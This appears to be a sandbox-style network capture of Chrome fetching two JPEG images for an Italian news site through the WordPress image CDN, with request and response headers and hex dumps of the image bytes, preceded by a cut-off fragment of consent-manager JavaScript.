i=t(845);const{LoggerSour:e}=i.t,r=new e("CMP > Clickio");!function(){var o=window;const{scriptsToLoad:c}=o._sour.config;if(c.clickio){r.log("Initialize C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49900	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:10 UTC	414	OUT	GET /bsnews.it/wp-content/uploads/2017/11/galleriaGardesana.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:11 UTC	596	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:11 GMT Content-Type: image/jpeg Content-Length: 14234 Connection: close Last-Modified: Wed, 27 Mar 2024 13:30:33 GMT Expires: Sat, 28 Mar 2026 01:30:33 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2017/11/galleriaGardesana.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "73b8641ac8c261c4" X-Bytes-Saved: 872 Vary: Accept X-nc: HIT dca 2 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:11 UTC	773	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 04 00 01 02 03 05 06 07 ff c4 00 1a 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 f1 94 50 12 8b f4 5f Data Ascii: JFIFCCD"P_
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 97 7b 2e 2a e4 7a dc b6 f9 7e bb 91 dc 1e ce 0f 55 cf c9 74 44 bd ac 7c ad 1c da 50 aa c8 0e e1 a3 21 33 bb 34 ea 51 42 9c 26 35 28 ba 6c 92 72 f6 42 63 bb ac e4 fa 24 fa 4c de bb 16 4c ed ec dc ba 9e a2 46 72 d5 3d 15 b9 7a 49 84 50 bb 18 ed 90 ae 49 f3 6b aa e5 35 ca 32 b7 7d 9e 6c 60 9a 42 e9 c4 28 04 ec c4 34 6a 58 79 fa 19 e1 45 77 45 55 6e ec e1 d9 d0 59 07 76 42 71 71 4e 55 a5 56 bd 2e d5 d2 a1 0c bd ee 6f 79 1e 84 0d ae 0b 0f 73 22 2b b0 e6 77 f0 6f 39 e8 d6 4c e8 26 a8 85 43 ad 54 93 af 9d e9 30 f4 88 17 8f a8 d7 22 52 b5 ad dc 8d 29 b0 2c 9d 8c 30 cb 08 c1 07 5c eb 7c f7 ba 15 4a 74 51 b1 56 6f 4d 8d 59 d4 f6 27 30 79 c4 1a 49 dc a4 ee 39 6a 64 eb 87 6b 60 04 b9 07 45 4f 3b e9 f2 b5 c2 2a 8d 60 4c 9a cf b8 24 84 a0 a2 a7 8b b9 8d be 22 44 b0 45 Data Ascii: {.z~UtD\|P!34QB&5(lrBc$LLFr=zIPIk52}l`B(4jXyEwEUnYvBqqNUV.oys"+wo9L&CT0"R),0\\|JtQVoMY'0yI9jdk`EO;`L$"DE
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: e2 a1 06 9d 90 56 a7 f7 34 e0 c6 6c 25 3b f8 b3 56 c9 91 68 91 90 a8 aa 26 92 26 9a e5 a9 8f 47 f9 8d 1a 47 8a 49 20 93 d4 3e 58 7a 16 b3 5e 18 97 7e 9f 31 fb 89 6a 1f ee e1 f3 96 dd 89 69 79 0d 3f 2f 13 be d9 53 e1 e7 c3 61 60 b9 bc 93 64 30 71 dc 5a df 44 43 c7 9c db c8 24 89 14 62 6c 2a c6 e6 48 5d 51 6a e8 d3 74 03 71 32 6d 8f f9 16 97 e7 c2 d3 34 72 5c 45 3b c8 eb 36 2d 63 11 bc 97 1a 73 c9 2f 90 db 33 58 dc c8 56 c9 8f db a5 33 f9 8a 9e 10 69 59 2a 78 95 0c 56 ef 35 86 98 00 4b d8 8f 0e 70 6c 9d 8c 7d b8 5a ce 46 45 8e 76 5b 89 17 92 e8 e5 db a1 6e dd 0f f0 63 a8 a1 5e 1c c8 bc 20 c8 24 51 cd 74 8f 5c 5f 75 ad 71 a4 11 a0 13 28 a4 24 2c 11 ec a0 bd 9c 46 ad 7a ed 15 a6 9f 73 22 2d 99 75 30 99 4c 57 aa 16 ea c4 b5 43 ba 49 2d 66 56 a9 f1 2d a5 d4 7f Data Ascii: V4l%;Vh&&GGI >Xz^~1jiy?/Sa`d0qZDC$blH]Qjtq2m4r\E;6-cs/3XV3iYxV5Kpl}ZFEv[nc^ $Qt\_uq($,Fzs"-u0LWCI-fV-
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: a5 aa 9d 16 0a 4e 0c 6c 4b b5 50 bc 14 a6 f4 62 c1 86 76 e5 54 a9 7e 5a 37 45 db a0 d7 53 02 3b c3 74 68 d4 79 b7 65 79 c4 b5 3b 5c e8 a1 cc cb b7 52 36 f6 65 02 0a 91 da d9 65 6b ec 1e 5e d9 a6 e2 13 69 f4 ae 13 cf 65 7e 7f ea 80 8e ca c1 99 51 98 dc ae ae a5 d3 ae 98 70 58 c2 9c 8f 24 c2 5d d8 74 91 a4 ae 1c 0d 72 bc 11 79 1a a8 1a a1 d4 9f 3c ca fb c1 e4 9c 5b 36 92 b0 d1 fd ad 7e 4a 54 ac e9 cd 0a 8f 74 5d 9f 04 f6 53 a9 4e eb 60 e5 71 68 9b 28 b7 ba dc 9c 26 f5 6e 24 05 76 39 85 d5 c7 b2 ea 8d d5 38 b4 f6 4a 0c 6b 60 37 7e 7e e8 3e eb 68 74 87 70 e8 1d c9 0d 2e d8 a9 12 79 1d 90 10 5a b8 dc 19 1d 85 2f a6 a5 17 66 e2 54 5c 78 b5 4e 67 57 3b 49 28 96 d2 77 8f 12 cd 27 ff 00 2a 6c 70 2a 19 33 b5 ca 4c b7 cb 75 39 07 75 30 b5 50 ba b2 eb 58 a1 93 1c dd Data Ascii: NlKPbvT~Z7ES;thyey;\R6eek^ie~QpX$]try<[6~JTt]SN`qh(&n$v98Jk`7~~>htp.yZ/fT\xNgW;I(w'lp3Lu9u0PX
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 6e 73 b9 5a 79 a8 0d 1e 88 53 2d 77 2b d5 62 dc 80 c9 21 3d d4 cf 17 56 81 2d 96 f7 8a 70 1a 22 d6 ee 89 9e cb 50 6b 6d 98 41 b4 c8 69 1f 35 3f a8 23 f9 38 3f a5 60 22 e2 31 09 c4 0d b4 54 84 ea f6 e1 0d 3b 49 cf 9c cc 61 40 c2 ec ec a4 bd da ec 61 6b 3c e5 cb 85 d8 f2 46 9d 46 82 1e 26 0a ab 4d 80 71 0d b9 4a 98 d5 ab 87 1c 30 a7 9a 07 44 f7 5d 88 d9 52 af d1 6a b1 8f 7e d3 a9 46 8d 46 9a 5d 2a 99 9c f7 95 bc b0 8f b7 4f c8 0b b9 42 ba a3 83 29 83 8f fb 2b 5b 16 b1 ba 94 ee 36 e7 c5 51 e1 ef b6 50 e1 ba 4a 82 db 67 99 58 c9 84 fc c6 17 33 e2 80 d3 c9 6a 83 c5 57 0c 20 65 53 aa 7b ae 72 17 1f bb ea c9 c6 e8 46 42 07 48 09 d3 90 5a 8f 47 ab 50 d3 a8 45 d4 1d b1 2a de 92 cb 3a 77 47 d0 fe b0 8b 91 3e f6 ab b4 d5 ab 7f 95 1f 08 39 d3 68 c9 84 2a 57 11 d6 61 Data Ascii: nsZyS-w+b!=V-p"PkmAi5?#8?`"1T;Ia@ak<FF&MqJ0D]Rj~FF]OB)+[6QPJgX3jW eS{rFBHZGPE:wG>9h*Wa
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 23 75 ea 97 da 60 5a 72 59 1e 0b 40 5e 24 e8 54 2b 5b f3 1b e7 c0 d8 b1 f0 4e 2b d4 c7 50 9b 60 f3 7d 45 00 c6 bd 25 1f 79 67 0b 4d 0f 68 67 20 19 39 97 73 59 58 40 2e be e6 0c f3 70 4a f7 70 c9 16 0b 95 6c b5 0b 4b b9 c1 08 39 9c 73 23 15 f2 6c 4e 22 78 d6 05 9f 78 a8 27 68 08 6a 63 70 21 c3 a1 32 7b f6 4a 30 03 9b 41 3f d7 33 47 4c 6a e2 17 90 08 71 99 79 f6 2f ce 60 66 90 8d 3e 35 05 a1 b7 87 77 29 00 af 40 e6 e5 61 05 8c 1c c5 2b 99 bb 5f f3 07 dd c3 15 2c 70 94 b2 8e 82 57 12 ec 62 1c 61 6b c7 3e 7d 11 ac ea f6 e2 0d d6 17 b9 da 46 b5 db 9f b4 c4 8a 48 e3 11 c8 f5 ac 79 43 1b 7e ee a5 90 07 6b 89 56 50 e0 39 13 7f a8 ae ad 26 46 b3 14 b7 d1 80 d9 44 18 a7 b1 45 7c 75 14 bb a9 c4 c4 23 bd a0 59 14 e7 ea 11 ed f8 4f b6 66 10 0b 97 27 68 b6 80 53 c8 f7 Data Ascii: #u`ZrY@^$T+[N+P`}E%ygMhg 9sYX@.pJplK9s#lN"xx'hjcp!2{J0A?3GLjqy/`f>5w)@a+_,pWbak>}FHyC~kVP9&FDE\|u#YOf'hS
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 95 46 a9 29 c2 32 4e 0c e2 72 46 93 1b a8 22 55 64 fa 4c 11 9c 9b 0a 0f 41 b1 a8 ab 5a 2b 99 a9 d6 88 ea 59 bb 7e 88 9a c9 7b f9 12 80 af 64 a6 a8 3d 6f 1e b9 bf 48 6e 10 80 80 f4 55 22 f4 0c 2c 44 ea 61 51 35 26 f8 f7 8a d2 cb 87 dc 86 0d 2f de 94 96 76 29 e6 2d f4 05 9b 96 7d 40 56 88 36 1e 1a b8 c4 5b 0a f1 a6 6a 2f 4a 29 00 ea e4 8f e6 5b 6f 0a af 2d e0 c7 d0 8f 45 84 29 9f f0 4c 6d 02 55 e9 79 25 5b 1b c1 e6 5c 2d 60 b1 8b eb 06 2e 32 f0 40 c4 eb 6a 50 17 5e 73 a8 ee 31 e5 54 f1 dc 02 9a 0a 08 10 d6 e9 96 b8 98 91 13 31 6e bd 79 f4 8f 41 e8 31 f7 85 cc 90 dc de 28 0b 1e 2b dc 7d 67 ae 6d 5e aa 60 15 dd 5b 21 04 6e 9a 3e d1 4c 50 7d 86 61 e4 75 c1 aa 81 e8 94 90 0b 5d 80 65 c9 57 c8 1a 75 0d 78 50 e7 b8 a7 6a 18 8e d1 88 c0 d2 f9 20 f3 36 f3 ac 5f ee Data Ascii: F)2NrF"UdLAZ+Y~{d=oHnU",DaQ5&/v)-}@V6[j/J)[o-E)LmUy%[\-`.2@jP^s1T1nyA1(+}gm^`[!n>LP}au]eWuxPj 6_
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: a4 a2 51 34 3d 84 3b ad fe d4 b0 4d ff 00 7e bd 46 5a a6 e2 f0 40 dd c6 9c 9d 10 4e e2 d2 11 e9 86 22 c0 e0 5b fc a4 df ee be 1b 25 86 06 e0 50 97 1f 4a 38 01 56 df 9f 11 2e 2a 51 84 b9 46 2a 78 65 16 4d 91 c3 3c 42 96 6a 14 57 ea 5d 02 5e df d7 f9 34 65 b8 0a b5 2c f1 85 de 2b 77 8a 9e e0 9a 17 7b da bd fb 7e 0c bd c6 b4 16 f4 6e 23 e2 95 64 4a 25 b9 63 a7 62 6e 5b 15 08 0d 4e 11 06 d8 37 02 a3 b4 25 d1 47 61 cc 3a 8a 1d e0 5c f1 00 08 35 2c ca 56 3a bb d4 70 6f 70 37 80 fb 85 9c c5 6e 55 42 1d 8f 62 0e 2a 3c 9b 2a 20 d4 61 2a 35 72 32 d8 f5 2f 71 e4 a5 0e 18 a0 c5 86 19 53 58 0b 6a 2b b9 7e e2 94 53 90 a1 28 8d 06 e1 ad e6 22 9b 82 f2 86 f1 52 b2 8e 4e c7 ab 80 a5 61 79 19 44 15 6b 0e e8 87 4c a2 d4 59 60 8e f1 e2 1b 8d 80 d4 b8 c5 4a 4e 18 d4 4a 80 79 Data Ascii: Q4=;M~FZ@N"[%PJ8V.QFxeM<BjW]^4e,+w{~n#dJ%cbn[N7%Ga:\5,V:pop7nUBb< a*5r2/qSXj+~S("RNayDkLY`JNJy
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 69 39 c0 f3 80 b5 1d 28 7d 77 eb 08 8f 6e 76 6d 4d 6d dd eb ef 10 28 60 50 22 30 0c 39 53 fe a2 f6 63 64 dd fb 0a ed bb 1f 1f 7e b0 2c 8e 00 4a 0e 7d b8 07 24 20 2b bc 1d da cd 44 60 42 12 3d 36 aa 5e e6 b1 35 27 88 2e 50 7b 6f bf 9c 67 8a 21 04 4c 01 9b aa f2 e0 54 48 15 b2 ec bc a2 75 de 38 3b 20 51 7b 1d 6f 34 b2 41 35 f7 c2 5c 7e a8 bd 78 ff 00 cc 62 44 1b 03 63 9c 7c 84 49 09 7c 03 67 fd bc 2b 7a e9 aa 7a af db fb c9 44 85 a0 8f 01 c7 18 7d 05 35 0d 5a 8c 42 71 a1 14 52 a8 52 4c 78 56 51 09 e5 dc e6 61 51 92 44 06 eb 46 87 9c 06 c3 a7 07 95 d7 2f b7 f1 83 3e 30 80 01 a1 3a 9a f8 cf 14 3a 97 80 fa b7 2b 06 e1 1f 2e 53 73 60 2f d9 88 b2 af ff 00 67 14 6e df a3 06 dd 7b 5c 0b 26 bd e0 45 fe 70 7c 17 26 03 bd ba 6b a9 86 2a e3 1c c8 a3 2e 3b ef f5 89 53 Data Ascii: i9(}wnvmMm(`P"09Scd~,J}$ +D`B=6^5'.P{og!LTHu8; Q{o4A5\~xbDc\|I\|g+zzD}5ZBqRRLxVQaQDF/>0::+.Ss`/gn{\&Ep\|&k*.;S
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 34 03 5b c1 bf 9c 84 54 0a 18 82 27 1f 39 aa 86 97 97 64 7d e2 3c 5b 4c 02 48 9b ef 16 f6 05 98 b5 8f bb 7e 73 7d 8a 3d 23 6a be 55 e3 e7 1d 43 a0 92 72 77 e6 43 2c d7 2d fc 60 50 1c 63 dc 9c 61 c4 6f e3 21 e3 0a b9 db 66 ea d3 d9 d1 d6 58 80 a5 81 03 e3 38 ce f0 22 3d e7 53 e5 82 58 b8 7f ee 0c df 47 2e 48 b0 79 cd 80 28 20 27 8d ba 36 07 de 53 1a fd 77 f9 70 32 15 ca ba 42 68 58 77 c6 73 f2 52 10 1d a9 fd 10 c1 a2 17 28 0d c0 f3 ce 1d 29 c4 80 f0 c5 13 e1 07 04 fe d2 c0 3c 8f 84 fe 1c f0 67 4b a4 79 b8 a3 39 d4 94 75 7b 78 00 e6 e5 ed b6 61 a0 2c 7b 2f 26 51 6d d0 1a 52 fc 18 ca 1a 08 a1 1e 30 cc c1 64 02 25 7e 53 35 4a 90 ef 60 5b d6 8c b3 c5 95 58 f4 1c b9 24 09 42 2c 90 54 3c df 38 8d a9 2a c7 91 39 ce 5c 22 dd 21 50 9f 78 1a 8e 02 a0 52 b9 66 1e 44 Data Ascii: 4[T'9d}<[LH~s}=#jUCrwC,-`Pcao!fX8"=SXG.Hy( '6Swp2BhXwsR()<gKy9u{xa,{/&QmR0d%~S5J`[X$B,T<8*9\"!PxRfD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	49901	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:10 UTC	410	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240327_0128.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:11 UTC	593	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:11 GMT Content-Type: image/jpeg Content-Length: 14282 Connection: close Last-Modified: Thu, 28 Mar 2024 08:51:11 GMT Expires: Sat, 28 Mar 2026 20:51:11 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240327_0128.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "d3ca59d91bb1d398" X-Bytes-Saved: 745 Vary: Accept X-nc: MISS dca 4 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:11 UTC	776	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 02 03 01 00 00 00 00 00 00 00 00 00 00 00 04 05 02 03 00 01 06 07 ff c4 00 19 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 13 bf f2 4a 38 67 df e5 Data Ascii: JFIFC%# , #&')*)-0-(0%()(C(((((((((((((((((((((((((((((((((((((((((((((((((((D"J8g
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: e3 a7 7d ff 00 8a 1b 9b d2 a8 04 fc ee 27 f3 ef 3a 45 35 82 4f 4e 7d 18 95 93 c3 b2 91 cd a3 28 ce 55 ae a1 64 ca 6d 86 19 0b 22 92 dc b2 33 7b d2 d1 97 62 f5 2a d8 aa ef c4 ea e4 29 bb 05 91 18 ef 50 20 a5 85 cd 9b a8 8a 79 ce 34 53 e8 c1 16 46 60 39 46 f8 f5 64 d7 9a ea 73 b5 78 36 ba f2 a4 81 ef b9 93 84 ee 33 b1 2b 22 ae 3d 60 7b 2f 41 d6 3c 92 9f 73 d6 b3 e4 7b f5 4b 8f 26 4f ed 54 d9 e3 6c 7d 4a f8 f0 e2 bd 9e 4b e4 d9 ec 99 67 98 2b 62 9e 98 52 20 e4 ec 1a 45 d6 81 28 d2 d3 02 cd 96 af 32 4a 84 22 9e f9 dc 82 63 2f 43 59 57 64 0e 5d 7c da 14 fd 42 e8 e7 2c d3 2d e7 a3 53 d5 a8 e3 d5 6d 13 18 f4 0e ab 9b bf a7 26 cb f2 8b 2c 63 cb bb 2e ab 79 ac c5 92 73 e5 8d a0 9d 06 e0 f9 9d 70 03 f5 b5 5b cd ad e9 af c7 4e 5c f7 d3 df 2e 76 3d 44 4e 6e ee 83 29 Data Ascii: }':E5ON}(Udm"3{b*)P y4SF`9Fdsx63+"=`{/A<s{K&OTl}JKg+bR E(2J"c/CYWd]\|B,-Sm&,c.ysp[N\.v=DNn)
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 2c f8 70 5b 55 85 c7 de bd 36 cd 8d 5b 34 d1 98 3e aa ad 99 2e 34 d2 5b 16 aa 94 74 2e d8 95 5b 59 9d 51 c5 b9 19 1a 6c 6a 54 cb 6a fd 8b d0 2b 1e cd 1d 3c 85 5e 49 c6 d4 46 6a d5 50 11 59 9a 4d 91 59 43 5d 5a e1 4f 32 17 9e d3 5b 48 1d 44 26 b3 0a d7 b2 2b e7 fa 72 e6 a5 2c b6 e0 e8 c5 55 00 42 a9 4e 1b 2e 42 50 17 98 49 6b 5a cf 6f 25 5b 2a c8 ae dc 9a 0a 4d 96 98 94 fc 32 55 42 82 3b 69 72 0a fa 36 35 59 19 0d 8b 8e b3 36 d2 b9 79 8a 3b 5d 11 50 e4 5f ee d6 6d 5a d5 1d d0 51 91 ff 00 85 9f c8 ff 00 1f ef 62 11 a0 67 fb bf e7 fa fe e1 9b f7 c7 6f 33 01 47 1a ed 64 30 00 5a 0c a2 cf 59 41 99 f8 30 5e 62 5f 60 e1 e4 17 99 39 ac 61 21 dc fc 54 59 a3 6d 2b 0e 4b 76 4e 55 9c ab cf ba 36 7d f3 27 dd 18 6e f5 db 78 12 c6 e4 eb ec 61 b0 57 71 fa 6e 3d b0 f8 eb Data Ascii: ,p[U6[4>.4[t.[YQljTj+<^IFjPYMYC]ZO2[HD&+r,UBN.BPIkZo%[*M2UB;ir65Y6y;]P_mZQbgo3Gd0ZYA0^b_`9a!TYm+KvNU6}'nxaWqn=
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: b6 49 ac ad 3e 1a b1 3e 8b 04 91 d5 06 53 7b 5c 4b c0 46 2d 75 9a 0b da 0f f7 f9 0b 77 78 6a c5 5e e8 19 2d e4 81 dd cd 53 6c cd fc cd ea 87 e7 72 dd a3 30 16 b1 31 c3 45 82 9e 68 82 37 95 cb ca 34 02 18 2d e8 99 51 a7 2c c8 59 41 19 71 40 35 99 f0 4d 7e f8 e2 a9 03 f8 b8 23 75 96 8a e4 9f bf e4 a8 5a 6e 1a 01 57 28 8d 6b f6 5a a0 75 2a f2 4f 15 44 26 81 e5 ee a9 f7 3f 3d 32 7c 8d 9e 28 38 e7 f6 1e e8 39 d1 9f 35 0f f4 4e 73 67 25 86 3b 84 2e a9 b7 78 77 91 f1 f8 cf 92 bf 41 a3 2d 2c e9 e6 2a 9f e5 f2 e4 ac d3 e8 89 8c 81 45 b7 ff 00 47 d8 47 d5 18 c9 10 d2 14 39 b7 1b e5 39 93 a8 a9 f5 d3 2a a6 19 8f 11 de 4a fc a3 ca d2 5d 7f 30 ff 00 77 2a 47 97 f9 2b 16 21 13 0b 6b e4 af 88 ab 06 ab 14 43 09 9f a2 0e 6e 45 a6 57 5f b0 89 95 8b 14 e8 c4 20 40 dc b1 0c Data Ascii: I>>S{\KF-uwxj^-Slr01Eh74-Q,YAq@5M~#uZnW(kZuOD&?=2\|(895Nsg%;.xwA-,EGG99J]0wG+!kCnEW_ @
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 52 7b 8f 20 af 43 b9 28 8c 03 ac a2 30 03 1c d7 bc a6 e6 a0 d6 82 5c 51 6f 87 96 fd ca 0d 8c af 77 bb 32 ac c0 7b ab 49 d5 de 85 86 7f e5 33 18 de 55 4c a5 36 e0 2c c5 90 be e5 9a df 9a 30 6e 77 2b 90 7a 2c 40 0c b7 a7 78 54 d8 07 22 a5 5f 02 c3 64 16 6b f5 69 ce 11 c4 22 37 85 62 0a 09 9f db 64 74 3d d5 67 c3 a6 27 aa 0d 6d 17 47 45 7b d9 13 20 2d b5 20 d9 58 e6 a2 a0 6b 87 45 20 31 9c 2d 0b 52 0c ad 70 de ea 29 b5 ad 6a b3 50 2d 24 db 82 2a 99 1c f7 a7 81 10 9b 3f 24 64 1b 0e 09 a2 0c c2 bb 1d 9a d5 18 6e b8 04 1b a2 0e af 24 43 8d c6 f5 98 4c 11 88 4d c2 11 43 0c 71 ba c3 e1 b7 81 41 a2 9b 4b 40 98 2a 38 a2 e1 36 e4 8a 8d 05 b5 3e f5 d1 2e c9 1d 15 dc db 92 e0 2e bd e0 1d 9a a1 c1 f7 de d4 e0 da bd 41 09 85 d4 4b 89 e0 b0 d3 63 da a2 e8 9c d0 2e 61 cf Data Ascii: R{ C(0\Qow2{I3UL6,0nw+z,@xT"_dki"7bdt=g'mGE{ - XkE 1-Rp)jP-$?$dn$CLMCqAK@86>..AKc.a
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 80 34 1f e1 1f af dd 0a 79 9f ba 12 e9 66 64 72 30 e1 86 5c 82 73 20 be 0f bc 49 c7 58 7c ca 72 a1 3d d8 dd ad c0 39 67 a8 95 41 e6 10 a2 8f 65 d4 d0 cc 9a 4b 60 e5 0e cc 4d 41 c3 3a 96 4e 79 8a 84 63 5e 20 2e 1f 6e 21 a6 a2 97 d9 94 55 c7 f8 0e 99 c6 2f 27 8c a5 1a 6d 30 18 65 99 60 75 f6 60 52 e0 ac 23 c4 7a a3 20 a3 d7 70 43 5a 0c 92 e5 2c ad 91 88 19 20 a4 59 cd 8d fe 26 f8 f0 2e 70 ea 70 55 aa 57 d6 51 87 ac dc 5b f1 35 2d df c8 98 ab 07 aa 35 63 7c 28 6b 44 aa 5c 3d bf c3 8c 55 25 ad a4 f3 3e 80 0a 1b c7 df 39 23 e6 88 83 f9 7d 65 85 84 f0 c1 2e fc 91 c4 29 fc 3a 4d 1f 6d ef 11 4f 62 8f f7 ac 05 10 83 21 28 49 4b 31 6a fa a2 ba 51 46 95 11 70 dc 83 ed c0 d4 c5 09 f5 94 7f 3c 12 91 d0 41 20 56 ab 2c e3 59 b1 2f 58 78 1f 99 b5 0f 49 aa 66 b0 e1 35 3b Data Ascii: 4yfdr0\s IX\|r=9gAeK`MA:Nyc^ .n!U/'m0e`u`R#z pCZ, Y&.ppUWQ[5-5c\|(kD\=U%>9#}e.):MmOb!(IK1jQFp<A V,Y/XxIf5;
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 39 d7 f7 a8 c1 46 fa 1f a8 ca 67 23 a7 57 cc 4b df 43 44 cf a5 7b 74 9c ae 62 fc 27 bc 07 47 e9 15 c9 bf 10 7d aa b0 bc e6 66 fc 89 86 73 bb b9 41 c3 89 50 65 62 26 61 8c a6 39 8e ac 89 8a 03 c0 20 d9 45 78 26 01 b8 be 50 98 c5 72 4c 5f c0 2a 05 4b 0c fe e8 ef b4 32 12 29 09 59 26 02 59 c0 76 7e d3 15 77 93 8c c3 40 17 ef 2c 14 10 ea e0 c1 e2 55 a5 bd c6 cc e2 58 cb 9c 6a 29 2e a1 e2 30 77 a7 0f 88 a8 4b 52 90 94 1e 0c 7a 43 24 29 ec 8d 18 48 77 46 95 f1 a8 e6 43 b7 25 4c 52 87 b6 3e dc 1d b0 09 b9 48 62 87 d1 1e 96 d1 fa 4d de d1 39 4d 10 06 ce d7 10 c8 1c 99 09 d7 f2 85 4a 39 dc f2 6d 84 23 83 1f a2 b3 99 84 14 41 cb af bc a9 b3 c9 14 70 a3 68 a7 8e f3 2f a0 2c 1c 4f 21 d4 12 76 32 5c 6f 9b 69 1b 97 3c 3f 0e 10 83 4f 44 77 1c af 63 2c 72 ae 28 20 8d 62 Data Ascii: 9Fg#WKCD{tb'G}fsAPeb&a9 Ex&PrL_*K2)Y&Yv~w@,UXj).0wKRzC$)HwFC%LR>HbM9MJ9m#Aph/,O!v2\oi<?ODwc,r( b
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 6e e1 ee 8d 3c 21 c1 ea 91 74 26 b0 3e 8f e8 4a f4 f6 70 7d 06 eb 67 ff c4 00 21 11 00 03 01 01 01 01 01 00 02 03 01 00 00 00 00 00 00 01 11 21 31 10 41 51 20 71 61 81 a1 e1 ff da 00 08 01 02 01 01 3f 10 ea 0a 7a e1 c0 7e 3f 5a c1 70 48 cf 2e 95 94 be 25 b7 f8 25 33 f1 92 56 b8 2b 91 51 a2 0d 95 89 0b ca 75 ff 00 0b a2 f2 95 8b 66 ff 00 4c 36 be 31 0c 9f 8f 7c 64 38 26 52 8b a5 84 14 fa 86 8b c4 90 60 d3 b8 45 f4 83 11 f7 c6 d0 9a 5e 1b 65 7e 1a 7a 8a 2d c1 ab be 53 f2 51 7c 62 7c 79 5f d8 d8 a0 ba 4f d2 1d 12 19 c0 f7 a5 6f 48 13 bc f1 44 09 10 a8 68 95 34 a9 bf 4e 8b 7c 27 10 4f f4 61 3a e1 9e eb 19 b4 13 49 60 85 25 a2 58 bf cf 89 09 22 1a a4 22 67 44 4d 70 22 e6 8f da 57 fd 8a f5 1f fb ff 00 c1 a7 aa 15 6d c2 dc 66 2a 1b d3 a6 a1 89 10 84 64 27 90 be Data Ascii: n<!t&>Jp}g!!1AQ qa?z~?ZpH.%%3V+QufL61\|d8&R`E^e~z-SQ\|b\|y_OoHDh4N\|'Oa:I`%X""gDMp"Wmf*d'
